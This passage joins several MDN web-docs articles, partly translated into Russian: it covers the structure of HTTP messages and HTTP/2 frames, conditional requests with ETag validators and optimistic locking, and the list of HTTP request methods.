    * Абсолютный путь, за которым следует `'?'` и строка запроса. Это самая распространённая форма, называемая *исходной формой* (*origin form*) . Используется с методами `GET`, `POST`, `HEAD`, и `OPTIONS`.
     `POST / HTTP 1.1 GET /background.png HTTP/1.0 HEAD /test.html?query=alibaba HTTP/1.1 OPTIONS /anypage.html HTTP/1.0`
    * Полный URL *- абсолютная форма* (*absolute form*) , обычно используется с `GET` при подключении к прокси.
     `GET http://developer.mozilla.org/ru/docs/Web/HTTP/Messages HTTP/1.1`
    * Компонента URL "authority", состоящая из имени домена и (необязательно) порта (предваряемого символом `':'`), *называется authority form*. Используется только с методом `CONNECT` при установке туннеля HTTP.
     `CONNECT developer.mozilla.org:80 HTTP/1.1`
    * Форма звёздочки (*asterisk form)*, просто "звёздочка" (`'*'`) используется `с методом OPTIONS` и представляет сервер.
     `OPTIONS * HTTP/1.1`
3. *Версия HTTP*, определяющая структуру оставшегося сообщения, указывая, какую версию предполагается использовать для ответа.
### Заголовки

Заголовки запроса HTTP имеют стандартную для заголовка HTTP структуру: не зависящая от регистра строка, завершаемая (`':'`) и значение, структура которого определяется заголовком. Весь заголовок, включая значение, представляет собой одну строку, которая может быть довольно длинной.

Существует множество заголовков запроса. Их можно разделить на несколько групп:

* *Основные заголовки (General headers*), например, `Via` (en-US), относящиеся к сообщению в целом
* *Заголовки запроса (Request headers*), например, `User-Agent`, `Accept-Type`, уточняющие запрос (как, например, `Accept-Language`), придающие контекст (как `Referer`), или накладывающие ограничения на условия (like `If-None`).
* *Заголовки сущности*, например `Content-Length`, относящиеся к телу сообщения. Как легко понять, они отсутствуют, если у запроса нет тела.
* ![Example of headers in an HTTP request](/ru/docs/Web/HTTP/Messages/http_request_headers2.png)
### Тело

Последней частью запроса является его тело. Оно бывает не у всех запросов: запросы, собирающие (fetching) ресурсы, такие как `GET`, `HEAD`, `DELETE`, или `OPTIONS`, в нем обычно не нуждаются. Но некоторые запросы отправляют на сервер данные для обновления, как это часто бывает с запросами `POST` (содержащими данные HTML-форм).

Тела можно грубо разделить на две категории:

* Одноресурсные тела (Single-resource bodies), состоящие из одного отдельного файла, определяемого двумя заголовками: `Content-Type` и `Content-Length`.
* Многоресурсные тела (Multiple-resource bodies), состоящие из множества частей, каждая из которых содержит свой бит информации. Они обычно связаны с HTML-формами.
Ответы HTTP
-----------

### Строка статуса (Status line)

Стартовая строка ответа HTTP, называемая строкой статуса, содержит следующую информацию:

1. *Версию протокола*, `обычно HTTP/1.1`.
2. *Код состояния (status code)*, показывающая, был ли запрос успешным. Примеры: `200`, `404` или `302`
3. *Пояснение (status text*). Краткое текстовое описание кода состояния, помогающее пользователю понять сообщение HTTP..

Пример строки статуса: `HTTP/1.1 404 Not Found.`

### Заголовки

Заголовки ответов HTTP имеют ту же структуру, что и все остальные заголовки: не зависящая от регистра строка, завершаемая двоеточием (`':'`) и значение, структура которого определяется типом заголовка. Весь заголовок, включая значение, представляет собой одну строку.

Существует множество заголовков ответов. Их можно разделить на несколько групп:

* *Основные заголовки (General headers*), например, `Via` (en-US), относящиеся к сообщению в целом.
* *Заголовки ответа (Response headers*), например, `Vary` и `Accept-Ranges`, сообщающие дополнительную информацию о сервере, которая не уместилась в строку состояния.
* *Заголовки сущности (Entity headers*), например, `Content-Length`, относящиеся к телу ответа. Отсутствуют, если у ответа нет тела.

![Example of headers in an HTTP response](/ru/docs/Web/HTTP/Messages/http_response_headers2.png)

### Тело

Последней частью ответа является его тело. Оно есть не у всех ответов: у ответов с кодом состояния, например, `201` или `204`, оно обычно отсутствует.

Тела можно разделить на три категории:

* Одноресурсные тела (Single-resource bodies), состоящие из отдельного файла известной длины, определяемые двумя заголовками: `Content-Type` и `Content-Length`.
* Одноресурсные тела (Single-resource bodies), состоящие из отдельного файла неизвестной длины, разбитого на небольшие части (chunks) с заголовком `Transfer-Encoding` (en-US), значением которого является `chunked`.
* Многоресурсные тела (Multiple-resource bodies), состоящие из многокомпонентного тела, каждая часть которого содержит свой сегмент информации. Они относительно редки.
Фреймы HTTP/2
-------------

Сообщения HTTP/1.x имеют несколько недостатков в отношении производительности:

* Заголовки, в отличие от тел, не сжимаются.
* Заголовки, которые зачастую практически совпадают у идущих подряд сообщений, приходится передавать по отдельности.
* Мультиплексность невозможна. Приходится открывать соединение для каждого сообщения, а тёплые (warm) соединения TCP эффективнее холодных (cold).

HTTP/2 переходит на новый уровень: он делит сообщения HTTP/1.x на фреймы, которые внедряются в поток. Фреймы данных из заголовков отделены друг от друга, что позволяет сжимать заголовки. Несколько потоков можно объединять друг с другом - такой процесс называется мультиплексированием - что позволяет более эффективно использовать TCP-соединения.

![HTTP/2 modify the HTTP message to divide them in frames (part of a single stream), allowing for more optimization.](/ru/docs/Web/HTTP/Messages/binary_framing2.png)

Фреймы HTTP сейчас прозрачны для веб-разработчиков. Это дополнительный шаг, который HTTP/2 делает по отношению к сообщениям HTTP/1.1 и лежащему в основе транспортному протоколу. Для реализации фреймов HTTP веб-разработчикам не требуется вносить изменения в имеющиеся APIs; если HTTP/2 доступен и на сервере, и на клиенте, он включается и используется.

Заключение
----------

Сообщения HTTP играют ключевую роль в использовании HTTP; они имеют простую структуру и хорошо расширяемы. Механизм фреймов в HTTP/2 добавляет ещё один промежуточный уровень между синтаксисом HTTP/1.x и используемым им транспортным протоколом, не проводя фундаментальных изменений: создаётся надстройка над уже зарекомендовавшими себя методами.


Условные HTTP запросы - HTTP

Условные HTTP запросы
=====================

В HTTP есть понятие *условных запросов*, в которых результат, и даже успех запрос, могут быть изменены с помощью сравнения затронутых ресурсов со значением *валидатора*. Такие запросы могут быть полезными для валидации контента в кеше, и избавления от бесполезного контроля, чтобы проверить целостность документа, например, пока длится загрузка, или пока предотвращается потеря обновлений, пока выгружаются или изменяются файлы на сервере.

Принципы
--------

Условные запросы HTTP это запросы, которые выполняются по разному, в зависимости значения особых заголовков. Эти заголовки определяют предусловие, и результат запроса будет разным, если условие согласовано или нет.

Отличие в поведении определяется используемым методом, и набором заголовков для предусловий:

* для безопасных методов, например как `GET`, который обычно используется, чтобы получить документ, условный запрос отправит документ только если это уместно. Следовательно, это расширит пропускную способность.
* для небезопасных методов, например `PUT`, который обычно используется для выгрузки документа на сервер, условный запрос загрузит документ, только если оригинал, на котором он основан, хранится на сервере.
Validators
----------

All conditional headers try to check if the resource stored on the server matches a specific version. To achieve this, the conditional requests need to indicate the version of the resource. As comparing the whole resource byte to byte is impracticable, and not always what is wanted, the request transmits a value describing the version. Such values are called *validators*, and are of two kinds:

* the date of last modification of the document, the *last-modified* date.
* an opaque string, uniquely identifying each version, called the *entity tag*, or the *etag*.

Comparing versions of the same resource is a bit tricky: depending on the context, there are two kinds of *equality checks*:

* *Strong validation* is used when byte to byte identity is expected, for example when resuming a download.
* *Weak validation* is used when the user-agent only needs to determine if the two resources have the same content. This is even if they are minor differences; like different ads, or a footer with a different date.

The kind of validation is independent of the validator used. Both `Last-Modified` and `ETag` allow both types of validation, though the complexity to implement it on the server side may vary. HTTP uses strong validation by default, and it specifies when weak validation can be used.

### Strong validation

Strong validation consists of guaranteeing that the resource is, byte to byte, identical to the one it is compared too. This is mandatory for some conditional headers, and the default for the others. Strong validation is very strict and may be difficult to guarantee at the server level, but it does guarantee no data loss at any time, sometimes at the expense of performance.

It is quite difficult to have a unique identifier for strong validation with `Last-Modified`. Often this is done using an `ETag` with the MD5 hash of the resource (or a derivative).

### Weak validation

Weak validation differs from strong validation, as it considers two versions of the document as identical if the content is equivalent. For example, a page that would differ from another only by a different date in its footer, or different advertising, would be considered *identical* to the other with weak validation. These same two versions are considered *different* when using strong validation. Building a system of etags that creates weak validation may be complex, as it involves knowing the importance of the different elements of a page, but is very useful towards optimizing cache performance.

Conditional headers
-------------------

Several HTTP headers, called conditional headers, lead to conditional requests. These are:

`If-Match`

Succeeds if the `ETag` of the distant resource is equal to one listed in this header. By default, unless the etag is prefixed with `'W/'`, it performs a strong validation.

`If-None-Match` (en-US)

Succeeds if the `ETag` of the distant resource is different to each listed in this header. By default, unless the etag is prefixed with `'W/'`, it performs a strong validation.

`If-Modified-Since`

Succeeds if the `Last-Modified` date of the distant resource is more recent than the one given in this header.

`If-Unmodified-Since`

Succeeds if the `Last-Modified` date of the distant resource is older or the same than the one given in this header.

`If-Range` (en-US)

Similar to `If-Match`, or `If-Unmodified-Since`, but can have only one single etag, or one date. If it fails, the range request fails, and instead of a `206` `Partial Content` response, a `200` `OK` is sent with the complete resource.

Use cases
---------

### Cache update

The most common use case for conditional requests is updating a cache. With an empty cache, or without a cache, the requested resource is sent back with a status of `200` `OK`.

![The request issued when the cache is empty triggers the resource to be downloaded, with both validator value sent as headers. The cache is then filled.](/ru/docs/Web/HTTP/Conditional_requests/cache1.png)

Together with the resource, the validators are sent in the headers. In this example, both `Last-Modified` and `ETag` are sent, but it could equally have been only one of them. These validators are cached with the resource (like all headers) and will be used to craft conditional requests, once the cache becomes stale.

As long as the cache is not stale, no requests are issued at all. But once it has become stale, this is mostly controlled by the `Cache-Control` header, the client doesn't use the cached value directly but issues a *conditional request*. The value of the validator is used as a parameter of the `If-Modified-Since` and `If-Match` headers.

If the resource has not changed, the server sends back a `304` `Not Modified` response. This makes the cache fresh again, and the client uses the cached resource. Although there is a response/request round-trip that consumes some resources, this is more efficient than to transmit the whole resource over the wire again.

![With a stale cache, the conditional request is sent. The server can determine if the resource changed, and, as in this case, decide not to send it again as it is the same.](/ru/docs/Web/HTTP/Conditional_requests/httpcache2.png)

If the resource has changed, the server just sends back a `200` `OK` response, with the new version of the resource, like if the request wasn't conditional and the client use this new resource (and caches it).

![In the case where the resource was changed, it is sent back as if the request wasn't conditional.](/ru/docs/Web/HTTP/Conditional_requests/httpcache3.png)

Besides the setting of the validators on the server side, this mechanism is transparent: all browsers manage a cache and send such conditional requests without any special work to be done by Web developers.

### Integrity of a partial download

Partial downloading of files is a functionality of HTTP that allows to resume previous operations, saving bandwidth and time, by keeping the already obtained information:

![A download has been stopped and only partial content has been retrieved.](/ru/docs/Web/HTTP/Conditional_requests/httpresume1.png)

A server supporting partial downloads broadcasts this by sending the `Accept-Ranges` header. Once this happens, the client can resume a download by sending a `Ranges` (en-US) header with the missing ranges:

![The client resumes the requests by indicating the range he needs and preconditions checking the validators of the partially obtained request.](/ru/docs/Web/HTTP/Conditional_requests/httpresume2.png)

The principle is simple, but there is one potential problem: if the downloaded resource has been modified between both downloads, the obtained ranges will correspond to two different versions of the resource, and the final document will be corrupted.

To prevent this, conditional requests are used. For ranges, there are two ways of doing this. The more flexible one makes use of `If-Modified-Since` and `If-Match` and the server returns an error if the precondition fails; the client then restarts the download from the beginning:

![When the partially downloaded resource has been modified, the preconditions will fail and the resource will have to be downloaded again completely.](/ru/docs/Web/HTTP/Conditional_requests/httpresume3.png)

Even if this method works, it adds an extra response/request exchange when the document has been changed. This impairs performance, and HTTP has a specific header to avoid this scenario: `If-Range` (en-US):

![The If-Range headers allows the server to directly send back the complete resource if it has been modified, no need to send a 412 error and wait for the client to re-initiate the download.](/ru/docs/Web/HTTP/Conditional_requests/httpresume4.png)

This solution is more efficient, but slightly less flexible, as only one etag can be used in the condition. Rarely is such additional flexibility needed.

### Avoiding the lost update problem with optimistic locking

A common operation in Web applications is to *update* a remote document. This is very common in any file system or source control applications, but any application that allows to store remote resources needs such a mechanism. Common Web sites, like wikis and other CMS, have such a need.

With the `PUT` method you are able to implement this. The client first reads the original files, modifies them, and finally pushes them to the server:

![Updating a file with a PUT is very simple when concurrency is not involved.](/ru/docs/Web/HTTP/Conditional_requests/httplock1.png)

Unfortunately, things get a little inaccurate as soon as we take into account concurrency. While a client is locally modifying its new copy of the resource, a second client can fetch the same resource and do the same on its copy. What happens next is very unfortunate: when they commit back to the server, the modifications from the first client are discarded by the next client push, as this second client is unaware of the first client's changes to the resource. The decision on who wins, is not communicated to the other party. Which client's changes are to be kept, will vary with the speed they commit; this depends on the performance of the clients, of the server, and even of the human editing the document at the client. The winner will change from one time to the next. This is a race condition and leads to problematic behaviors, which are difficult to detect and to debug:

![When several clients update the same resource in parallel, we are facing a race condition: the slowest win, and the others don't even know they lost. Problematic!](/ru/docs/Web/HTTP/Conditional_requests/httplock2.png)

There is no way to deal with this problem without annoying one of the two clients. However, lost updates and race conditions are to be avoided. We want predictable results, and expect that the clients are notified when their changes are rejected.

Conditional requests allow implementing the *optimistic locking algorithm* (used by most wikis or source control systems). The concept is to allow all clients to get copies of the resource, then let them modify it locally, controlling concurrency by successfully allowing the first client submitting an update. All subsequent updates, based on the now obsolete version of the resource, are rejected:

![Conditional requests allow to implement optimistic locking: now the quickest wins, and the others get an error.](/ru/docs/Web/HTTP/Conditional_requests/httplock3.png)

This is implemented using the `If-Match` or `If-Unmodified-Since` headers. If the etag doesn't match the original file, or if the file has been modified since it has been obtained, the change is simply rejected with a `412` `Precondition Failed` error. It is then up to the client to deal with the error: either by notifying the user to start again (this time on the newest version), or by showing the user a *diff* of both versions, helping them decide which changes they wish to keep.

### Dealing with the first upload of a resource

The first upload of a resource is an edge case of the previous. Like any update of a resource, it is subject to a race condition if two clients try to perform at the similar times. To prevent this, conditional requests can be used: by adding `If-None-Match` (en-US) with the special value of `'*'`, representing any etag. The request will succeed, only if the resource didn't exist before:

![Like for a regular upload, the first upload of a resource is subject to a race condition: If-None-Match can prevent it.](/ru/docs/Web/HTTP/Conditional_requests/httpfirst.png)

`If-None-Match` will only work with HTTP/1.1 (and later) compliant servers. If unsure if the server will be compliant, you need first to issue a `HEAD` request to the resource to check this.

Conclusion
----------

Conditional requests are a key feature of HTTP, and allow the building of efficient and complex applications. For caching or resuming downloads, the only work required for webmasters is to configure the server correctly; setting correct etags in some environments can be tricky. Once achieved, the browser will serve the expected conditional requests.

For locking mechanisms, it is the opposite: Web developers need to issue a request with the proper headers, while webmasters can mostly rely on the application to carry out the checks for them.

In both cases it's clear, conditional requests are a fundamental feature behind the Web.


Методы HTTP запроса - HTTP

Методы HTTP запроса
===================

HTTP определяет множество **методов запроса**, которые указывают, какое желаемое действие выполнится для данного ресурса. Несмотря на то, что их названия могут быть существительными, эти методы запроса иногда называются *HTTP глаголами*. Каждый реализует свою семантику, но каждая группа команд разделяет общие свойства: так, методы могут быть безопасными, идемпотентными или кешируемыми.

`GET`

Метод `GET` запрашивает представление ресурса. Запросы с использованием этого метода могут только извлекать данные.

`HEAD`

`HEAD` запрашивает ресурс так же, как и метод GET, но без тела ответа.

`POST`

`POST` используется для отправки сущностей к определённому ресурсу. Часто вызывает изменение состояния или какие-то побочные эффекты на сервере.

`PUT`

`PUT` заменяет все текущие представления ресурса данными запроса.

`DELETE`

`DELETE` удаляет указанный ресурс.

`CONNECT`

`CONNECT` устанавливает "туннель" к серверу, определённому по ресурсу.

`OPTIONS`

`OPTIONS` используется для описания параметров соединения с ресурсом.

`TRACE`

`TRACE` выполняет вызов возвращаемого тестового сообщения с ресурса.

`PATCH`

`PATCH` используется для частичного изменения ресурса.

Спецификации
------------

| Спецификация | Название | Комментарий |
| --- | --- | --- |
| RFC 7231, раздел 4: Request methods | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | Определение GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE. |
| RFC 5789, раздел 2: Patch method | PATCH метод для HTTP | Определение PATCH. |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* HTTP заголовки